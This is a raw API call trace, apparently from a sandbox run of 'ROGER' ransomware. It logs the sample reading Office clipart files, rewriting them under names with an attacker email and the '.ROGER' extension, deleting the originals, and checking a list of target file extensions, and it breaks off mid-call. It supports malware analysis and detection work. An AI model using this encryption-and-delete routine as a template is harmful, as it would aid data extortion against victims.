returned 0x20 [0059.865] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04355_.WMF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04355_.wmf.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0059.865] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04355_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04355_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d8 [0059.866] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x40ffec8 | out: lpNewFilePointer=0x0) returned 1 [0059.866] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x40ffec8 | out: lpNewFilePointer=0x0) returned 1 [0059.866] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04355_.WMF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04355_.wmf.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0059.866] GetLastError () returned 0x0 [0059.866] ReadFile (in: hFile=0x3d8, lpBuffer=0x4b80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x40ffed4, lpOverlapped=0x0 | out: lpBuffer=0x4b80020*, lpNumberOfBytesRead=0x40ffed4*=0xc9c, lpOverlapped=0x0) returned 1 [0059.875] WriteFile (in: hFile=0x378, lpBuffer=0x4b80020*, nNumberOfBytesToWrite=0xca0, lpNumberOfBytesWritten=0x40ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4b80020*, lpNumberOfBytesWritten=0x40ffc9c*=0xca0, lpOverlapped=0x0) returned 1 [0059.876] ReadFile (in: hFile=0x3d8, lpBuffer=0x4b80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x40ffed4, lpOverlapped=0x0 | out: lpBuffer=0x4b80020*, lpNumberOfBytesRead=0x40ffed4*=0x0, lpOverlapped=0x0) returned 1 [0059.876] WriteFile (in: hFile=0x378, lpBuffer=0x4b80020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x40ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4b80020*, lpNumberOfBytesWritten=0x40ffc9c*=0xec, lpOverlapped=0x0) returned 1 [0059.876] SetEndOfFile (hFile=0x378) returned 1 [0059.876] CloseHandle (hObject=0x378) returned 1 [0059.876] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x40ffec8 | out: lpNewFilePointer=0x0) returned 1 [0059.876] SetEndOfFile (hFile=0x3d8) returned 1 [0059.877] CloseHandle (hObject=0x3d8) returned 1 [0059.877] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04355_.WMF.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0059.877] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04355_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04355_.wmf")) returned 1 [0059.878] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04355_.WMF") returned 63 [0059.878] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04355_.WMF") returned 63 [0059.878] lstrlenW (lpString=".doc") returned 4 [0059.878] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0059.878] lstrlenW (lpString=".docx") returned 5 [0059.878] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0059.878] lstrlenW (lpString=".pdf") returned 4 [0059.878] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0059.878] lstrlenW (lpString=".xls") returned 4 [0059.878] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0059.878] lstrlenW (lpString=".xlsx") returned 5 [0059.878] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0059.878] lstrlenW (lpString=".ppt") returned 4 [0059.878] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0059.878] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04355_.WMF") returned 63 [0059.878] lstrlenW (lpString=".zip") returned 4 [0059.878] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0059.878] lstrlenW (lpString=".rar") returned 4 [0059.878] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0059.878] lstrlenW (lpString=".bz2") returned 4 [0059.878] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0059.878] lstrlenW (lpString=".7z") returned 3 [0059.878] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0059.878] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04355_.WMF") returned 63 [0059.878] lstrlenW (lpString=".dbf") returned 4 [0059.878] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0059.878] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04355_.WMF") returned 63 [0059.878] lstrlenW (lpString=".1cd") returned 4 [0059.878] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0059.878] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04355_.WMF") returned 63 [0059.878] lstrlenW (lpString=".jpg") returned 4 [0059.878] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0059.879] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04355_.WMF") returned 63 [0059.879] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04355_.WMF") returned 63 [0059.879] lstrlenW (lpString=".doc") returned 4 [0059.879] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0059.879] lstrlenW (lpString=".docx") returned 5 [0059.879] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0059.879] lstrlenW (lpString=".pdf") returned 4 [0059.879] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0059.879] lstrlenW (lpString=".xls") returned 4 [0059.879] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0059.879] lstrlenW (lpString=".xlsx") returned 5 [0059.879] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0059.879] lstrlenW (lpString=".ppt") returned 4 [0059.879] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0059.879] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04355_.WMF") returned 63 [0059.879] lstrlenW (lpString=".zip") returned 4 [0059.879] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0059.879] lstrlenW (lpString=".rar") returned 4 [0059.879] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0059.879] lstrlenW (lpString=".bz2") returned 4 [0059.879] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0059.879] lstrlenW (lpString=".7z") returned 3 [0059.879] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0059.879] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04355_.WMF") returned 63 [0059.879] lstrlenW (lpString=".dbf") returned 4 [0059.879] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0059.879] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04355_.WMF") returned 63 [0059.879] lstrlenW (lpString=".1cd") returned 4 [0059.879] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0059.879] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04355_.WMF") returned 63 [0059.879] lstrlenW (lpString=".jpg") returned 4 [0059.879] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0059.880] lstrcmpiW (lpString1=".WMF", lpString2=".ROGER") returned 1 [0059.880] lstrlenW (lpString="AN04384_.WMF") returned 12 [0059.880] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04384_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04384_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d8 [0059.880] GetFileSizeEx (in: hFile=0x3d8, lpFileSize=0x40fff1c | out: lpFileSize=0x40fff1c*=4996) returned 1 [0059.880] CloseHandle (hObject=0x3d8) returned 1 [0059.880] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04384_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04384_.wmf")) returned 0x20 [0059.880] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04384_.WMF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04384_.wmf.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0059.880] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04384_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04384_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d8 [0059.880] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x40ffec8 | out: lpNewFilePointer=0x0) returned 1 [0059.880] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x40ffec8 | out: lpNewFilePointer=0x0) returned 1 [0059.880] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04384_.WMF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04384_.wmf.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0059.881] GetLastError () returned 0x0 [0059.881] ReadFile (in: hFile=0x3d8, lpBuffer=0x4b80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x40ffed4, lpOverlapped=0x0 | out: lpBuffer=0x4b80020*, lpNumberOfBytesRead=0x40ffed4*=0x1384, lpOverlapped=0x0) returned 1 [0060.040] WriteFile (in: hFile=0x378, lpBuffer=0x4b80020*, nNumberOfBytesToWrite=0x1390, lpNumberOfBytesWritten=0x40ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4b80020*, lpNumberOfBytesWritten=0x40ffc9c*=0x1390, lpOverlapped=0x0) returned 1 [0060.043] ReadFile (in: hFile=0x3d8, lpBuffer=0x4b80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x40ffed4, lpOverlapped=0x0 | out: lpBuffer=0x4b80020*, lpNumberOfBytesRead=0x40ffed4*=0x0, lpOverlapped=0x0) returned 1 [0060.043] WriteFile (in: hFile=0x378, lpBuffer=0x4b80020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x40ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4b80020*, lpNumberOfBytesWritten=0x40ffc9c*=0xec, lpOverlapped=0x0) returned 1 [0060.043] SetEndOfFile (hFile=0x378) returned 1 [0060.230] CloseHandle (hObject=0x378) returned 1 [0060.230] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x40ffec8 | out: lpNewFilePointer=0x0) returned 1 [0060.230] SetEndOfFile (hFile=0x3d8) returned 1 [0061.074] CloseHandle (hObject=0x3d8) returned 1 [0061.074] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04384_.WMF.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0061.075] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04384_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04384_.wmf")) returned 1 [0061.075] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 63 [0061.075] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 63 [0061.075] lstrlenW (lpString=".doc") returned 4 [0061.075] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0061.075] lstrlenW (lpString=".docx") returned 5 [0061.075] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0061.075] lstrlenW (lpString=".pdf") returned 4 [0061.075] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0061.075] lstrlenW (lpString=".xls") returned 4 [0061.075] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0061.075] lstrlenW (lpString=".xlsx") returned 5 [0061.075] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0061.075] lstrlenW (lpString=".ppt") returned 4 [0061.075] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0061.075] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 63 [0061.075] lstrlenW (lpString=".zip") returned 4 [0061.075] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0061.075] lstrlenW (lpString=".rar") returned 4 [0061.075] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0061.075] lstrlenW (lpString=".bz2") returned 4 [0061.075] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0061.075] lstrlenW (lpString=".7z") returned 3 [0061.075] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0061.075] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 63 [0061.075] lstrlenW (lpString=".dbf") returned 4 [0061.075] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0061.076] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 63 [0061.076] lstrlenW (lpString=".1cd") returned 4 [0061.076] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0061.076] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 63 [0061.076] lstrlenW (lpString=".jpg") returned 4 [0061.076] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0061.076] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 63 [0061.076] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 63 [0061.076] lstrlenW (lpString=".doc") returned 4 [0061.076] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0061.076] lstrlenW (lpString=".docx") returned 5 [0061.076] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0061.076] lstrlenW (lpString=".pdf") returned 4 [0061.076] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0061.076] lstrlenW (lpString=".xls") returned 4 [0061.076] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0061.076] lstrlenW (lpString=".xlsx") returned 5 [0061.076] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0061.076] lstrlenW (lpString=".ppt") returned 4 [0061.076] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0061.076] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 63 [0061.076] lstrlenW (lpString=".zip") returned 4 [0061.076] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0061.076] lstrlenW (lpString=".rar") returned 4 [0061.076] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0061.076] lstrlenW (lpString=".bz2") returned 4 [0061.076] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0061.076] lstrlenW (lpString=".7z") returned 3 [0061.076] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0061.076] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 63 [0061.076] lstrlenW (lpString=".dbf") returned 4 [0061.076] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0061.076] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 63 [0061.076] lstrlenW (lpString=".1cd") returned 4 [0061.077] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0061.077] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 63 [0061.077] lstrlenW (lpString=".jpg") returned 4 [0061.077] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0061.077] lstrcmpiW (lpString1=".WMF", lpString2=".ROGER") returned 1 [0061.077] lstrlenW (lpString="BD08808_.WMF") returned 12 [0061.077] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08808_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08808_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d8 [0061.077] GetFileSizeEx (in: hFile=0x3d8, lpFileSize=0x40fff1c | out: lpFileSize=0x40fff1c*=47996) returned 1 [0061.077] CloseHandle (hObject=0x3d8) returned 1 [0061.077] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08808_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08808_.wmf")) returned 0x20 [0061.077] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08808_.WMF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08808_.wmf.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0061.077] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08808_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08808_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d8 [0061.077] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x40ffec8 | out: lpNewFilePointer=0x0) returned 1 [0061.077] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x40ffec8 | out: lpNewFilePointer=0x0) returned 1 [0061.078] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08808_.WMF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08808_.wmf.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0 [0061.078] GetLastError () returned 0x0 [0061.078] ReadFile (in: hFile=0x3d8, lpBuffer=0x4b80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x40ffed4, lpOverlapped=0x0 | out: lpBuffer=0x4b80020*, lpNumberOfBytesRead=0x40ffed4*=0xbb7c, lpOverlapped=0x0) returned 1 [0061.080] WriteFile (in: hFile=0x3e0, lpBuffer=0x4b80020*, nNumberOfBytesToWrite=0xbb80, lpNumberOfBytesWritten=0x40ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4b80020*, lpNumberOfBytesWritten=0x40ffc9c*=0xbb80, lpOverlapped=0x0) returned 1 [0061.082] ReadFile (in: hFile=0x3d8, lpBuffer=0x4b80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x40ffed4, lpOverlapped=0x0 | out: lpBuffer=0x4b80020*, lpNumberOfBytesRead=0x40ffed4*=0x0, lpOverlapped=0x0) returned 1 [0061.082] WriteFile (in: hFile=0x3e0, lpBuffer=0x4b80020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x40ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4b80020*, lpNumberOfBytesWritten=0x40ffc9c*=0xec, lpOverlapped=0x0) returned 1 [0061.082] SetEndOfFile (hFile=0x3e0) returned 1 [0061.082] CloseHandle (hObject=0x3e0) returned 1 [0061.082] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x40ffec8 | out: lpNewFilePointer=0x0) returned 1 [0061.082] SetEndOfFile (hFile=0x3d8) returned 1 [0061.083] CloseHandle (hObject=0x3d8) returned 1 [0061.083] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08808_.WMF.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0061.084] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08808_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08808_.wmf")) returned 1 [0061.084] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 63 [0061.084] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 63 [0061.084] lstrlenW (lpString=".doc") returned 4 [0061.084] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0061.084] lstrlenW (lpString=".docx") returned 5 [0061.084] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0061.084] lstrlenW (lpString=".pdf") returned 4 [0061.084] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0061.084] lstrlenW (lpString=".xls") returned 4 [0061.084] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0061.084] lstrlenW (lpString=".xlsx") returned 5 [0061.084] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0061.084] lstrlenW (lpString=".ppt") returned 4 [0061.084] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0061.084] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 63 [0061.084] lstrlenW (lpString=".zip") returned 4 [0061.084] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0061.084] lstrlenW (lpString=".rar") returned 4 [0061.084] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0061.084] lstrlenW (lpString=".bz2") returned 4 [0061.084] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0061.084] lstrlenW (lpString=".7z") returned 3 [0061.084] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0061.084] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 63 [0061.084] lstrlenW (lpString=".dbf") returned 4 [0061.084] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0061.084] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 63 [0061.084] lstrlenW (lpString=".1cd") returned 4 [0061.084] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0061.085] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 63 [0061.085] lstrlenW (lpString=".jpg") returned 4 [0061.085] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0061.085] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 63 [0061.085] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 63 [0061.085] lstrlenW (lpString=".doc") returned 4 [0061.085] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0061.085] lstrlenW (lpString=".docx") returned 5 [0061.085] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0061.085] lstrlenW (lpString=".pdf") returned 4 [0061.085] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0061.085] lstrlenW (lpString=".xls") returned 4 [0061.085] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0061.085] lstrlenW (lpString=".xlsx") returned 5 [0061.085] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0061.085] lstrlenW (lpString=".ppt") returned 4 [0061.085] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0061.085] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 63 [0061.085] lstrlenW (lpString=".zip") returned 4 [0061.085] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0061.085] lstrlenW (lpString=".rar") returned 4 [0061.085] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0061.085] lstrlenW (lpString=".bz2") returned 4 [0061.085] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0061.085] lstrlenW (lpString=".7z") returned 3 [0061.085] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0061.085] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 63 [0061.085] lstrlenW (lpString=".dbf") returned 4 [0061.085] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0061.085] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 63 [0061.085] lstrlenW (lpString=".1cd") returned 4 [0061.085] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0061.085] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 63 [0061.085] lstrlenW (lpString=".jpg") returned 4 [0061.086] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0061.086] lstrcmpiW (lpString1=".WMF", lpString2=".ROGER") returned 1 [0061.086] lstrlenW (lpString="BD08868_.WMF") returned 12 [0061.086] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08868_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08868_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d8 [0061.086] GetFileSizeEx (in: hFile=0x3d8, lpFileSize=0x40fff1c | out: lpFileSize=0x40fff1c*=40206) returned 1 [0061.086] CloseHandle (hObject=0x3d8) returned 1 [0061.086] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08868_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08868_.wmf")) returned 0x20 [0061.086] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08868_.WMF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08868_.wmf.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0061.086] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08868_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08868_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d8 [0061.086] SetFilePointerEx (in: 